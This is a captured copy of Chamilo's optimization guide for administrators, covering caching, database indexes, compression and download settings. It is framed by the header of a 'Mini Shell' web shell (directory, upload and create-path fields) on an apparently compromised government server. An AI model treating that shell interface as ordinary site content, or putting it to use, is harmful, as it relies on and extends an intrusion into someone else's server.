%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/home/tjamichg/cursos.tjamich.gob.mx/documentation/
Upload File :
Create Path :
Current File : //proc/self/root/home/tjamichg/cursos.tjamich.gob.mx/documentation/optimization.html

<html lang="en">
<head>
    <meta charset="utf-8" />
	<title>Chamilo Optimization Guide</title>
    <link rel="stylesheet" href="../web/assets/bootstrap/dist/css/bootstrap.css" type="text/css" media="screen,projection" />
    <link rel="stylesheet" href="default.css" type="text/css" media="screen,projection" />
	<link rel="shortcut icon" href="../favicon.ico" type="image/x-icon" />
	</head>
<body>
<nav class="navbar navbar-default navbar-fixed-top">
    <div class="container">
        <div class="navbar-header">
            <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
                <span class="sr-only">Toggle navigation</span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
                <span class="icon-bar"></span>
            </button>
            <a class="navbar-brand" href="#">Chamilo - Documentation</a>
        </div>

        <div class="collapse navbar-collapse">
            <ul class="nav navbar-nav">
                <li><a href="index.html">Home</a></li>
                <li class="active"><a href="readme.html">About</a></li>
                <li><a href="license.html">License</a></li>
                <li><a href="credits.html">Credits</a></li>
                <li ><a href="dependencies.html">Dependencies</a></li>
                <li><a href="changelog.html">Changelog</a></li>
            </ul>
        </div><!--/.nav-collapse -->
    </div>
</nav>
<div class="container">
<h1>Chamilo : Optimization Guide</h1>

<a href="index.html">Documentation</a> &gt; Optimization Guide

<p>In seldom cases, you will need to start looking into efficiency issues
    with Chamilo. This guide is a work in progress intended to help
    administrators optimize their Chamilo installation.</p>


<h2><b>Contents</b></h2>

<ol>
  <li><a href="#1.Using-XCache">Using opcaches</a></li>
  <li><a href="#2.Slow-queries">Slow queries</a></li>
  <li><a href="#3.Indexes-caching">Indexes caching</a></li>
  <li><a href="#4.Sessions-directories">Sessions directories</a></li>
  <li><a href="#5.Users-upload-directories">Users upload directories</a></li>
  <li><a href="#6.Zlib-compression">Zlib compressed output</a></li>
  <li><a href="#7.High-numbers-memory">Memory considerations for high numbers of users</a></li>
  <li><a href="#8.Avoid-non-fixed-values">Avoiding non-fixed values</a></li>
  <li><a href="#9.xsendfile">Speeding file downloads with mod_xsendfile</a></li>
  <li><a href="#10.igbinary">IGBinary for faster courses backups and better sessions</a></li>
  <li><a href="#11.permissions-check">Removing files download permissions check</a></li>
  <li><a href="#12.MySQL-compression">MySQL/MariaDB compression</a></li>
  <li><a href="#13.increasing-php-limits">Increasing PHP limits</a></li>
  <li><a href="#14.Enable-cache">Enable cache</a></li>
  <li><a href="#15.Enable-text-compression">Enable text compression</a></li>
</ol>

<h2><a id="1.Using-XCache"></a>1. Using opcaches</h2>
    <h3>Zend OpCode (Zend Optimizer+)</h3>
    From version 5.5, PHP includes the Zend OpCache Optimizer, which can
    bring considerable efficiency improvements and is very reliable.

    Using OpCache should come by default, but if you want to make sure it's
    running, just check that your opcache.ini config file says
    <pre>opcache.enable = 1</pre>
    Some websites will recommend the addition of additional settings, and this
    is really up to you. Check
    <a href="https://php.net/manual/en/opcache.configuration.php">the official OpCache config page for more information</a>.

    To check if OpCache is effectively running, you can check the
    <a href="/main/admin/system_status.php?section=php">Chamilo systems status page</a>
    on the administration page, or you can check it in phpinfo, if you have any script with it.

    Zend OpCache is an "opcode" cache, meaning it will compile static code to make their processing faster.
    However, this will not allow you to "store" shared variables in memory between all users. To do that, we suggest
    you complement Zend OpCache (opcode) with a user-land cache like APCu.

    <h3>APCu</h3>
    You can also check whether APCu is working or not from the systems status page. Check
    <a href="https://php.net/manual/en/apcu.configuration.php">the official APCu config page</a>
    for configuration options.

    In previous versions, this optimization guide contained information about how to use xCache, APC or Memcache to
    boost the number of online users. However, starting from version 1.11, code has been added to Chamilo to use
    APCu by default from the banner.lib.php library, so as long as APCu is installed and running, you'll benefit from
    this optimization naturally.

    <h3>Other items</h3>

    <p>It is also worth noting that the Université de Genève, Switzerland, observed
    that the calculation of the total size used by course documents is one of
    the heaviest queries in Chamilo, so you might want to cache the results of
    this one as well, using the same technique.</p>

    <p>Finally, if your portal is highly public *and* you are showing the popular
    courses on the homepage, you might want to also reduce the amount of
    queries this generates, using the same technique as above, but for the
    main/inc/lib/auth.lib.php library, looking for the
    "Tracking::get_course_connections_count()" call:</p>
    <pre>
        while ($row = Database::fetch_array($result)) {
            $row['registration_code'] = !empty($row['registration_code']);
            $count_users = CourseManager::get_users_count_in_course($row['code']);
            $xc = function_exists('apc_exists');
            if ($xc) {
                $apc = apc_cache_info(null, true);
                $apx_end = $apc['start_time']+$apx['ttl'];
                if (apc_exists('my_campus_course_visits_'.$row['code']) AND (time() < $apc_end) AND apc_fetch('my_campus_course_visits_'.$row['code']) > 0) {
                    $count_connections_last_month = apc_fetch('my_campus_course_visits_'.$row['code']);
                } else {
                    $count_connections_last_month = Tracking::get_course_connections_count($row['code'], 0, api_get_utc_datetime(time() - (30 * 86400)));
                    apc_store('my_campus_course_visits_'.$row['code'], $count_connections_last_month, $apc['ttl']);
                }
            } else {
                $count_connections_last_month = Tracking::get_course_connections_count($row['code'], 0, api_get_utc_datetime(time() - (30 * 86400)));
            }
            ...
        }
    </pre>

    Finally, the Free Campus of Chamilo has a very specific case of slow query:
    the courses catalog! Because there might be more than 32,000 courses in
    there, getting the number of "Connections last month" can be a disastrous
    query in terms of performances. This is why you should try to cache the
    results as well.<br />
    Obviously, as we are speaking about showing the number of visits this month,
    it doesn't really matter if the number doesn't refresh for an hour or so...<br />
    Locate the main/inc/lib/course_category.lib.php file, open it and go to the
    browseCoursesInCategory() function.<br />
    Locate the $count_connections_last_month = Tracking::get_course_connections_count(...)
    call, and wrap in into something like this (you'll have to update this to use APCu):
<pre>
    $xc = method_exists('Memcached', 'add');
    if ($xc) {
        // Make sure the server is available
        $xm = new Memcached;
        $xm->addServer('localhost', 11211);
        // The following concatenates the name of the database + the id of the
        // access url to make it a unique variable prefix for the variables to
        // be stored
        $xs = $_configuration['main_database'].'_'.$_configuration['access_url'].'_';
    }
    $result = Database::query($sql);
    $courses = array();
    while ($row = Database::fetch_array($result)) {
        $row['registration_code'] = !empty($row['registration_code']);
        $count_users = CourseManager::get_users_count_in_course($row['code']);
        if ($xc) {
            if ($xm->get($xs.'cccount_'.$row['code'])) {
                $number = $xm->get($xs.'cccount_'.$row['code']);
            } else {
                $count_connections_last_month = Tracking::get_course_connections_count($row['code'], 0, api_get_utc_datetime(time() - (30 * 86400)));
                $xm->set($xs.'cccount_'.$row['code'], $count_connections_last_month, 3600);
            }
        } else {
            $count_connections_last_month = Tracking::get_course_connections_count($row['code'], 0, api_get_utc_datetime(time() - (30 * 86400)));
        }
   ...
</pre>
<hr />

<h2><a id="2.Slow-queries"></a>2. Slow queries</h2>
Enable slow_queries in /etc/mysqld/my.cnf, restart MySQL then follow using sudo tail -f /var/log/mysql/mysql-slow.log
<br /><br />
In Chamilo 1.9 in particular, due to the merge of all databases into one, you might experience performance issues.<br />
To solve this performance issue, you can execute the following query manually in your database:<br />
<pre>
ALTER TABLE user_rel_tag ADD INDEX idx_user_rel_tag_user (user_id);
</pre>
<br /><br />
In Chamilo 1.10.0 (the first version of the serie), many indexes were forgotten, so you can boost your database by adding the following indexes:<br />
<pre>
alter table extra_field_values add index idx_extra_field_values (field_id, item_id);
alter table usergroup_rel_user add index idx_usergroup_ru (usergroup_id);
alter table usergroup_rel_user add index idx_usergroup_ru_u (user_id);
alter table c_student_publication add index idxstudpub_cid (c_id);
alter table c_student_publication add index idxstudpub_uid (user_id);
alter table c_quiz_question add index idx_cqq_cid (c_id);
alter table c_quiz_rel_question ADD INDEX idx_cqrq_qid (question_id);
alter table c_quiz_rel_question ADD INDEX idx_cqrq_cid (c_id);
alter table c_quiz_answer add index idx_qa_cidqid (c_id, question_id);
</pre>
In Chamilo 1.10.6, two additional queries were confirmed to still have effect a considerable effect:
<pre>
ALTER TABLE c_quiz_question_rel_category ADD INDEX idx_qqrc_qid (question_id);
ALTER TABLE c_lp_item_view ADD INDEX idx_clpiv_c_i_v (c_id, id, view_count);
</pre>

    Note that, because these situations only occur when a portal is under real-world high-load stress, we only get to
    find out about these possible bottlenecks after we release stable versions of Chamilo. This is why we list those
    queries here. However, as soon as we confirm them with a few real life scenarios, we add them into the core of
    Chamilo, so you can benefit from them immediately by installing a new version.
    <p>In Chamilo 1.11.x you can boost the DB tables related surveys invitations by adding the following indexes:</p>
    <pre>

        ALTER TABLE c_quiz_answer add index idx_qa_cidqid (c_id, question_id);
        ALTER TABLE c_lp_item_view ADD INDEX idx_clpiv_c_i_v (c_id, id, view_count);
        CREATE INDEX idx_survey_q_qid ON c_survey_question (question_id);
        CREATE INDEX idx_survey_code ON c_survey (code);
        CREATE INDEX idx_survey_inv_code ON c_survey_invitation (survey_code);
        CREATE INDEX idx_survey_qo_qid ON c_survey_question_option (question_id);
        CREATE INDEX idx_c_survey_answerucsq ON c_survey_answer (user, c_id, survey_id, question_id);

        # Also by adding a index on access_url_rel_session to improve the course/session list
        CREATE INDEX idx_accessurs_sid ON access_url_rel_session (session_id);

        # If you have lots of gradebook stuff, add this
        ALTER TABLE gradebook_result ADD INDEX idx_gb_uid_eid (user_id, evaluation_id);
        ALTER TABLE gradebook_category ADD INDEX idx_gb_cat_parent (parent_id);
        ALTER TABLE gradebook_evaluation ADD INDEX idx_ge_cat (category_id);
        ALTER TABLE gradebook_link ADD INDEX idx_gl_cat (category_id);

        # If you have to delete a lot of users, you'll realize deleting users is a slow operation.
        # Using the following queries might help:
        ALTER TABLE extra_field_values ADD INDEX idx_efv_item (item_id);
        ALTER TABLE c_document ADD INDEX idx_cdoc_path (path);
        ALTER TABLE c_document ADD INDEX idx_cdoc_size (size);
        ALTER TABLE c_document ADD INDEX idx_cdoc_id (id);
        ALTER TABLE c_document add index idx_cdoc_type (filetype);
        ALTER TABLE c_document add index idx_cdoc_sid (session_id);

        ALTER TABLE track_e_attempt ADD INDEX idx_track_e_attempt_tms (tms);
        ALTER TABLE track_e_login CHANGE login_date login_date DATETIME NOT NULL;
        ALTER TABLE track_e_login ADD INDEX idx_track_e_login_date (login_date);
        ALTER TABLE track_e_login ADD INDEX idx_track_e_login_user_id (login_user_id);
        ALTER TABLE track_e_login ADD INDEX idx_track_e_login_user_date (login_user_id, login_date);
        ALTER TABLE track_e_course_access ADD INDEX idx_teca_countconn (c_id, session_id, login_course_date);
        ALTER TABLE track_e_course_access ADD INDEX idx_c_id_session_user (c_id, session_id, user_id);
        ALTER TABLE track_e_course_access ADD INDEX idx_session_user_login (session_id, user_id, login_course_date);

        ALTER TABLE extra_field_values ADD INDEX idx_efv_fv1 (field_id, value(1));
        ALTER TABLE message ADD INDEX idx_message_senddate (send_date);

        CREATE INDEX idx_message_receiver_status_send_date ON message (user_receiver_id, msg_status, send_date);
        CREATE INDEX idx_message_status ON message (msg_status);
        CREATE INDEX idx_message_user_receiver_status ON message (user_receiver_id, msg_status);
        CREATE INDEX idx_msg_urid ON message (user_receiver_id);

        ALTER TABLE c_item_property CHANGE insert_date insert_date DATETIME NOT NULL, CHANGE lastedit_date lastedit_date DATETIME NOT NULL;
        # If you have to delete a lot of users, you'll realize deleting users is a slow operation.
        # Using the following queries might help:
        ALTER TABLE c_item_property ADD INDEX idx_cip_lasteditu (lastedit_user_id);
        ALTER TABLE c_item_property ADD INDEX idx_item_property_visibility (visibility);
        ALTER TABLE c_item_property ADD INDEX idx_cip_ctv (c_id, tool(25), visibility);
        ALTER TABLE c_dropbox_person ADD INDEX idx_file(file_id);

        ALTER TABLE c_chat_connected ADD INDEX idx_user_course_session(user_id, c_id, session_id);
        ALTER TABLE c_chat_connected ADD INDEX idx_user_course_group(user_id, c_id, to_group_id);

        ALTER TABLE c_chat_connected ADD INDEX idx_course_session(c_id, session_id);
        ALTER TABLE c_chat_connected ADD INDEX idx_course_group(c_id, to_group_id);
        -- For big online exams, this index reduces the load considerably
        ALTER TABLE c_quiz_question ADD INDEX idx_cqq_cidid (c_id, id);
        ALTER TABLE c_quiz_question ADD INDEX  idx_cqq_type (type);
        -- If you have many messages with attachments
        ALTER TABLE message_attachment ADD index idx_msgat_msgid (message_id);
        -- If you query audit logs from track_e_default on huge tables
        ALTER TABLE track_e_default ADD INDEX idx_ted_uid (default_user_id);
        ALTER TABLE track_e_default ADD INDEX idx_ted_et (default_event_type);
    </pre>
<hr />
<h2><a id="3.Indexes-caching"></a>3. Indexes caching</h2>
One good reference: <a href="https://dev.mysql.com/doc/refman/5.6/en/multiple-key-caches.html">MySQL documentation on multiple key caches</a><br />
<hr />

<h2><a id="4.Sessions-directories"></a>4. Sessions directories</h2>

    <p>On large implementations, the users sessions might be stored in numbers too large (hundreds of thousands) to be
    efficiently managed by the filesystem is stored in one single folder. In order to avoid that, you can either store
    your sessions in another key-value storage (memcache, redis, etc.) or you can instruct PHP to store your session
    files in a directory with a certain level of subdirectories (so sessions are spread across multiple directories
    instead of inside just one.</p>

    <p>This is done by adding the following setting to your php.ini or your Apache's Virtual Host</p>
    <pre>php_admin_value session.save_path 1;/var/www/test.chamilo.org/sessions/</pre>
    <p>Please note that, by defining a different directory than your system's default, you will need to reconfigure
    your system's session cleaning procedure, which is usually defined under /etc/cron.d/php, so that it cleans
    this specific directory as well.</p>
<hr />
<h2><a id="5.Users-upload-directories"></a>5. Users upload directories</h2>
The default in Chamilo is now to spread user accounts in 10 different directories inside app/upload/users/ to avoid
    overloading that specific directory. Nothing to be done here. Please move on.
<hr />
<h2><a id="6.Zlib-compression"></a>6. Zlib compressed output</h2>
Although this will not make your server faster, compressing the pages you are sending to the users will definitely
    make them feel like your website's responses are a lot faster, and thus increase their well-being when using Chamilo.<br /><br />
Zlib output compression has to be set at two levels: PHP configuration for PHP pages and Apache for images and CSS.<br /><br />
To update the PHP configuration (either in php.ini or in your VirtualHost), use the
    <a href="https://php.net/manual/en/zlib.configuration.php">zlib.output_compression</a>. If you set this inside your
    Apache's VirtualHost, you should use the following syntax.
<pre>
php_value zlib.output_compression 1
</pre>
<br />
Configuring your Apache server to use output compression is a bit trickier. You have to use <a href="https://httpd.apache.org/docs/2.2/mod/mod_deflate.html">the mod_deflate module</a> to do it. Your configuration should look like something like this (please read the corresponding documentation before implementing in production).<br />
Easy mode:
<pre>
AddOutputFilterByType DEFLATE text/html text/plain text/xml
</pre> or, for every content type (dangerous) you can put the following inside a location or directory block:<pre>SetOutputFilter DEFLATE</pre>
<br />
Advanced mode:
<pre>
<Location />
# Insert filter
SetOutputFilter DEFLATE

# Netscape 4.x has some problems...
BrowserMatch ^Mozilla/4 gzip-only-text/html

# Netscape 4.06-4.08 have some more problems
BrowserMatch ^Mozilla/4\.0[678] no-gzip

# MSIE masquerades as Netscape, but it is fine
# BrowserMatch \bMSIE !no-gzip !gzip-only-text/html

# NOTE: Due to a bug in mod_setenvif up to Apache 2.0.48
# the above regex won't work. You can use the following
# workaround to get the desired effect:
BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html

# Don't compress images
SetEnvIfNoCase Request_URI \
\.(?:gif|jpe?g|png)$ no-gzip dont-vary

# Make sure proxies don't deliver the wrong content
Header append Vary User-Agent env=!dont-vary
</Location>
</pre>
<hr />
Don't have time or resources to optimize your Chamilo installation yourself? Hire an <a href="https://www.chamilo.org/en/providers">official Chamilo provider</a> and get it sorted out professionally by specialists.
    <a href="https://validator.w3.org/check?uri=referer"><img src="//www.w3.org/Icons/valid-xhtml10-blue" alt="Valid XHTML 1.0 Transitional" style="margin: 1em; float: right;" height="31" width="88" /></a>
	<a href="https://jigsaw.w3.org/css-validator/">
		<img src="//jigsaw.w3.org/css-validator/images/vcss-blue" style="margin: 1em; float: right;" alt="Valid CSS" />
	</a>
<hr />

<h2><a id="7.High-numbers-memory"></a>Memory considerations for high numbers of users</h2>
Some administration scripts *have to* handle lists of all users, and this might have a considerable impact on portals with very high numbers of users. For example, the main/admin/add_users_to_session.php script that handles the registration of users into a specific session, if used with the (non-default) full list of users, will devour about 3KB per user, which, for 100,000 users, translates into the need for around 300MB of RAM just to show this page, and to around 3GB for 1,000,000 users.<br />
This mode is not loaded by default, but could still be selected, leading to a "Fatal error: Allowed memory size ... exhausted" message.<br />
The only non-scripted solution here is to allow for the corresponding amount of RAM for your PHP configuration (<em>memory_limit = 300M</em>) or your specific VirtualHost if you use mod-php5 (<em>php_value memory_limit 300M</em>).<br/>
<hr />

<h2><a id="8.Avoid-non-fixed-values"></a>Avoiding dynamic values</h2>
Many things in Chamilo are written focusing on the ease of use, even for the
    administrator. Sometimes, these settings are weighing a little bit more on
    the system. This is the case, between others, of the mail.conf.php file
    (being loaded unconditionally) and its CONSTANT "IS_WINDOWS_OS", which is
    defined by a function call (api_is_windows_os()) at the beginning of
    main_api.lib.php.

The definition of this constant (which is executed at *every* page load) can
    easily be avoided, and the only place where it is used unconditionally
    (mail.conf.php) can be modified to set the line as you expect it
    (depending on whether you use sendmail/exim or smtp).
<pre>
$platform_email['SMTP_MAILER']       = 'smtp';
</pre>
or
<pre>
$platform_email['SMTP_MAILER']       = 'mail';
</pre>
In fact, the complete loading of mail.conf.php can also be avoided if
    loaded conditionally (with <i>require_once</i>) when sending an
    e-mail (which is the only case where it is useful).
<p>
As an additional node, on very active portals with a lot of courses
    for each user, the icons that appear next to the courses illustrating
    changes in the corresponding course might be heavyweighted. You can
    alter slightly the behaviour by not querying for notifications you
    don't care about, like dropbox, notebook or chat. Change this in
    main/inc/lib/display.lib.php, in function show_notification().
</p>
<hr />
<h2><a id="9.xsendfile"></a>Speeding file downloads with mod_xsendfile</h2>
<p>It might have come to your attention that file downloads through Chamilo
    might get slow, under default conditions, in particular using Apache 2.</p>
<p>There are several ways to fix this, one of which is removing the .htaccess
    inside the courses/ directory. This, however, will remove all permissions
    checks on the files contained in this directory, so... most of the time,
    not ideal unless your portal is *really* open to the world.</p>
<p>Another technique, revealed to us by
    <a href="https://stackoverflow.com/users/46594/virtualblackfox">VirtualBlackFox</a>
    on <a href="https://stackoverflow.com/questions/3697748/fastest-way-to-serve-a-file-using-php">this Stackoverflow post</a>,
    is to use the X-SendFile module for Apache 2.2+ (other web servers might
    offer other solutions, or avoid the problem initially).</p>
<p>Installing the X-SendFile module will depend on your operating system,
    but if you use Ubuntu, you'll have to check you are including the "universe"
    repository inside your packages sources (check /etc/apt/sources.list), then:
<pre>
sudo apt-get update
sudo apt-get install libapache2-mod-xsendfile
sudo service apache2 restart
</pre>
Once you're done with installing, you'll have to configure Chamilo to use it.<br />
First, edit your VirtualHost or your Apache configuration in general (in Ubuntu,
    check the /etc/apache2/ or /etc/apache2/sites-available/ folder). This is done
    by adding the following line inside your configuration, and reloading Apache
    (example provided on the basis of a virtual host located in
    /etc/apache2/sites-available/my.chamilo.net.conf) :
<pre>
sudo vim /etc/apache2/sites-available/my.chamilo.net.conf
# add the following line:
  X-SendFile on
# exit the file
sudo service apache2 reload
</pre>
Finally, you'll have to go to your Chamilo configuration file, and add the
    following line at the very bottom of the file main/inc/conf/configuration.php:
<pre>
$_configuration['enable_x_sendfile_headers'] = true;
</pre>
Done! Now your downloads should go substantially faster. This is still a
    feature in observation. We're not sure the benefits are sufficient, so
    don't hesitate to let us know in
    <a href="https://support.chamilo.org/issues/6853">the related issue in Chamilo's tracking system</a>
</p>
<hr />
<h2><a id="10.igbinary"></a>IGBinary for courses backups and better
    sessions management</h2>
<p>
<a href="https://pecl.php.net/package/igbinary">IGBinary</a> is a small PECL
    library that replaces the PHP serializer. It uses less space (so less
    memory for serialized objects) and is particularly efficient with memory-based
    storages (like Memcached). Use it for course backups
    (see <a href="https://support.chamilo.org/issues/4443">issue 4443</a>) or
    <a href="https://www.neanderthal-technology.com/2011/11/ubuntu-10-install-php-memcached-with-igbinary-support/">to boost sessions management</a>.
</p>
<hr />
<h2><a id="11.permissions-check"></a>Removing files download permissions check</h2>
<p>
This measure is not cumulative with mod_xsendfile explained above. It is not *recommended*
    either, as it removes an important security layer.<br />
<br />
In Chamilo, for security and tracking purposes, all downloaded files pass through PHP
    scripts that check whether the user has access to the file given his/her current
    permissions. This process requires important database accesses and processing, which
    might terminally affect your server's performance. In particular, this can
    have a huge effect if having hundreds of simultaneous users accessing
    learning paths pages composed of local resources.<br /><br />
The logic behind this verification is that, whatever resources that needs to be
    downloaded/viewed that come from the /courses/ directory, the /courses/.htaccess
    file with get in the middle and redirect these accesses to a PHP script
    (usually called download.php but there are more than one depending on the
    type of resource).<br /><br />
If you want to speed up files accesses, and you don't really care about whom can
    see your files, then an option is to simply change this redirection to
    download.php and let Apache treat the file directly.<br /><br />
Furthermore, using a PHP script for the download (unless you have special rules)
    will usually prevent static content caching, which will multiply downloads
    and use large amounts of additional bandwidth.<br /><br />
Typically, the .htaccess will look like this (with additional comments):<br />
<pre>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /courses/
RewriteCond %{REQUEST_URI} !^/main/
RewriteRule ([^/]+)/document/(.*)&(.*)$ $1/document/$2///$3 [N]
RewriteRule ([^/]+)/scorm/(.*)$ /main/document/download_scorm.php?doc_url=/$2&cDir=$1 [QSA,L]
RewriteRule ([^/]+)/document/(.*)$ /main/document/download.php?doc_url=/$2&cDir=$1 [QSA,L]
RewriteRule ([^/]+)/work/(.*)$ /main/work/download.php?file=work/$2&cDir=$1 [QSA,L]
</IfModule>
</pre><br />
The idea is to allow direct access (without access validation) to resources in the "scorm" directory with:
<pre>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /courses/
RewriteCond %{REQUEST_URI} !^/main/
RewriteRule ([^/]+)/document/(.*)&(.*)$ $1/document/$2///$3 [N]
RewriteRule ([^/]+)/scorm/(.*)$ /app/courses/$1/scorm/$2 [QSA,L]
RewriteRule ([^/]+)/document/(.*)$ /main/document/download.php?doc_url=/$2&cDir=$1 [QSA,L]
RewriteRule ([^/]+)/work/(.*)$ /main/work/download.php?file=work/$2&cDir=$1 [QSA,L]
</IfModule>
</pre><br />
This is easy, doesn't require a server reload, and you should see the results pretty
    quickly. As mentioned above, if security of your content is an issue, though,
    you should avoid using this technique.
</p>
<p>
You can also mitigate the risk by disabling permissions check only
for some static resource like css,js and fonts files.
<br/>
For that is required to load header module
in apache (check with a2enmod in your favorite root terminal)<br />
add these lines after RewriteBase /courses/:
<pre>
&lt;IfModule mod_headers.c&gt;
    # all file name ended with these  extensions names will bypass the permission check   (and also served by the browser cache at  the next request)
    &lt;FilesMatch &quot;\.(gif|jpg|jpeg|png|js|pdf|ico|icon|css|swf|avi|mp3|ogg|wav|ttf|otf|eot|woff)$&quot;&gt;
        Header unset Cache-Control
        Header set Cache-Control &quot;public, max-age=29030400&quot;
        RequestHeader unset Cookie
        Header unset ETag
    &lt;/FilesMatch&gt;
&lt;/IfModule&gt;
# also adjust files here
RewriteRule (\.(html|gif|jpg|jpeg|png|js|pdf|ico|icon|css|swf|avi|mp3|ogg|wav|ttf|otf|eot|woff))$ - [L]
</pre>
</p>
<p>
Since version 1.11.10, the .htaccess has been modified to do this by default with media files, and a change post-1.11.10 also does it for documents that are not in a SCORM folder. These changes will improve speed considerably but will lower the security on media files, as a direct link could be used to open the file with no validation. As such, you can comment those lines with media files to ensure increased security, at the cost of performance. These are the two lines (followed by their more wide-ranging rule) that have to be present in .htaccess for maximum efficiency.
<pre>
RewriteRule ^courses/([^/]+)/scorm/(.*\.(js|css|png|jpg|jpeg|gif))$ app/courses/$1/scorm/$2 [QSA,L]
RewriteRule ^courses/([^/]+)/scorm/(.*)$ main/document/download_scorm.php?doc_url=/$2&cDir=$1 [QSA,L]
[...]
RewriteRule ^courses/([^/]+)/document/(.*\.(js|css|png|jpg|jpeg|gif|mp4|webm|avi|mpeg|mp3|wav|ogg]))$ app/courses/$1/document/$2 [QSA,L]
RewriteRule ^courses/([^/]+)/document/(.*)$ main/document/download.php?doc_url=/$2&cDir=$1 [QSA,L]
</pre>
</p>
<hr />
<h2><a id="12.MySQL-compression"></a>MySQL/MariaDB compression</h2>
<p>
If your database server is separate from your web server, you have to play with
    bandwidth, firewalls, and network restrictions in general.<br />
In particular, when dealing with large-scale portals, the time a SQL query
    will take to return to the web server will take longer and, eventually,
    in the most critical cases, will take <b>too long</b>, and your web servers
    will be completely overloaded (load average very high because the system
    is waiting for I/O operations, but processors usage not being very high
    is a clear sign of this).<br />
To solve this kind of issues, MySQL and MariaDB offer a data compression
    mechanism, which will reduce the amount of data passed between PHP and
    the database server. Ultimately, this reduction will lower bandwidth
    usage and reduce the impact of numerous and heavy data requests (and
    save you).<br />
In 1.10.0, we have added the possibility to enable this compression very
    easily, from the configuration.php file, defining a secret parameter called
    db_client_flags. The database connection library changed in 1.11.0 and this
    possibility was removed until 1.11.12. where you can now use client flags
    by defining an array (it is very important to define it as an array) in
    configuration.php, like this:
<pre>
$_configuration['db_client_flags'] = [0x00000020];
</pre>
The values used in the array (in this case CLIENT_COMPRESS) are the hexadecimal
    values documented in the <a href="https://dev.mysql.com/doc/internals/en/capability-flags.html">MySQL</a>
    documentation. There is no corresponding documentation for MariaDB, so we assume
    most of these flags will work in MariaDB too. The PDO driver for MySQL
    doesn't seem to understand the constants related to those flags, so you
    have to use the hexadecimal value directly.
Changing CLIENT_COMPRESS will only have a positive impact if the CPU
    utilisation is low and the bandwidth utilisation is high in your specific
    use case, so make sure you analyze this properly.
</p>
<hr />
<h2><a id="13.increasing-php-limits"></a>Increasing PHP limits</h2>
<p>
    As your use of Chamilo increases, and you get above the thousands of users,
    you're likely to hit a few milestones set by PHP to avoid hacks.
    One of them is PHP5.4's Suhosin extension limit post_max_vars, which was
    extended into PHP5.5 and above through the max_input_vars limit. This limit
    is usually set to 1000. What does it mean?<br />
    It means that, when you manipulate any list greater than 1000 items, PHP will
    automatically remove anything sent above the first 1000 registers (usually
    a little bit less because it needs to add the other input fields of the page).
    For example, if subscribing 5 new users to a course where you already have
    1000 users subscribed, you will remain at 1000, although the 1000 will not
    necessarily be the 1000 that were there in the first place (they are sent
    in order of the elements inside the form, so probably alphabetically,
    depending on the page).<br /><br />
    Increasing this limit to a higher level (say 10,000 instead of 1000) should
    be relatively safe, considering your application is normally not open to
    the public (and so also open to the evil kind of users). So, in your
    php.ini, this limit should now look like this:<br />
    <pre>
    max_input_vars = 10000
    </pre><br /><br />
    A number of other limits might also become an issue in the long run, like
    memory_limit, post_max_size, etc. We have given reasonnable recommendations
    in the installation process for these values, but remember that if you
    have a larger portal than anyone else, you probably need to give it more
    care than anyone else.
</p>
<h2><a id="14.Enable-cache"></a>Enable cache</h2>
<pre>
  # Enable cache
<IfModule mod_expires.c>
  ExpiresActive On

 # Images
  ExpiresByType image/jpeg "access plus 1 year"
  ExpiresByType image/gif "access plus 1 year"
  ExpiresByType image/png "access plus 1 year"
  ExpiresByType image/webp "access plus 1 year"
  ExpiresByType image/svg+xml "access plus 1 year"
  ExpiresByType image/x-icon "access plus 1 year"

  # Video
  ExpiresByType video/webm "access plus 1 year"
  ExpiresByType video/mp4 "access plus 1 year"
  ExpiresByType video/mpeg "access plus 1 year"

  # Fonts
  ExpiresByType font/ttf "access plus 1 year"
  ExpiresByType font/otf "access plus 1 year"
  ExpiresByType font/woff "access plus 1 year"
  ExpiresByType font/woff2 "access plus 1 year"
  ExpiresByType application/font-woff "access plus 1 year"

  # CSS, JavaScript
  ExpiresByType text/css "access plus 1 year"
  ExpiresByType text/javascript "access plus 1 year"
  ExpiresByType application/javascript "access plus 1 year"

  # Others
  ExpiresByType application/pdf "access plus 1 year"
  ExpiresByType image/vnd.microsoft.icon "access plus 1 year"
</IfModule>
</IfModule>
</pre>

<h2><a id="15.Enable-text-compression"></a>Enable text compression</h2>
<pre>
 # Enable text compression
<IfModule mod_deflate.c>
  # Compress HTML, CSS, JavaScript, Text, XML and fonts
  AddOutputFilterByType DEFLATE application/javascript
  AddOutputFilterByType DEFLATE application/rss+xml
  AddOutputFilterByType DEFLATE application/vnd.ms-fontobject
  AddOutputFilterByType DEFLATE application/x-font
  AddOutputFilterByType DEFLATE application/x-font-opentype
  AddOutputFilterByType DEFLATE application/x-font-otf
  AddOutputFilterByType DEFLATE application/x-font-truetype
  AddOutputFilterByType DEFLATE application/x-font-ttf
  AddOutputFilterByType DEFLATE application/x-javascript
  AddOutputFilterByType DEFLATE application/xhtml+xml
  AddOutputFilterByType DEFLATE application/xml
  AddOutputFilterByType DEFLATE font/opentype
  AddOutputFilterByType DEFLATE font/otf
  AddOutputFilterByType DEFLATE font/ttf
  AddOutputFilterByType DEFLATE image/svg+xml
  AddOutputFilterByType DEFLATE image/x-icon
  AddOutputFilterByType DEFLATE text/css
  AddOutputFilterByType DEFLATE text/html
  AddOutputFilterByType DEFLATE text/javascript
  AddOutputFilterByType DEFLATE text/plain
  AddOutputFilterByType DEFLATE text/xml

  # Remove browser bugs (only needed for really old browsers)
  BrowserMatch ^Mozilla/4 gzip-only-text/html
  BrowserMatch ^Mozilla/4\.0[678] no-gzip
  BrowserMatch \bMSIE !no-gzip !gzip-only-text/html
  Header append Vary User-Agent
</IfModule>
</pre>
<hr />
<h2>Authors</h2>
<ul>
<li>Document redacted and maintained by Yannick Warnier, Zend Certified PHP Engineer, BeezNest Belgium SPRL, <a href="mailto:yannick.warnier@beeznest.com">yannick.warnier@beeznest.com</a>.</li>
</ul>
<hr />
Don't have time or resources to optimize your Chamilo installation
    yourself? Hire an <a href="//www.chamilo.org/en/providers">official Chamilo provider</a> and get it sorted out professionally by specialists.<br />
    <a href="https://validator.w3.org/check?uri=referer"><img src="//www.w3.org/Icons/valid-xhtml10-blue" alt="Valid XHTML 1.0 Transitional" style="margin: 1em; float: right;" height="31" width="88" /></a>
	<a href="https://jigsaw.w3.org/css-validator/">
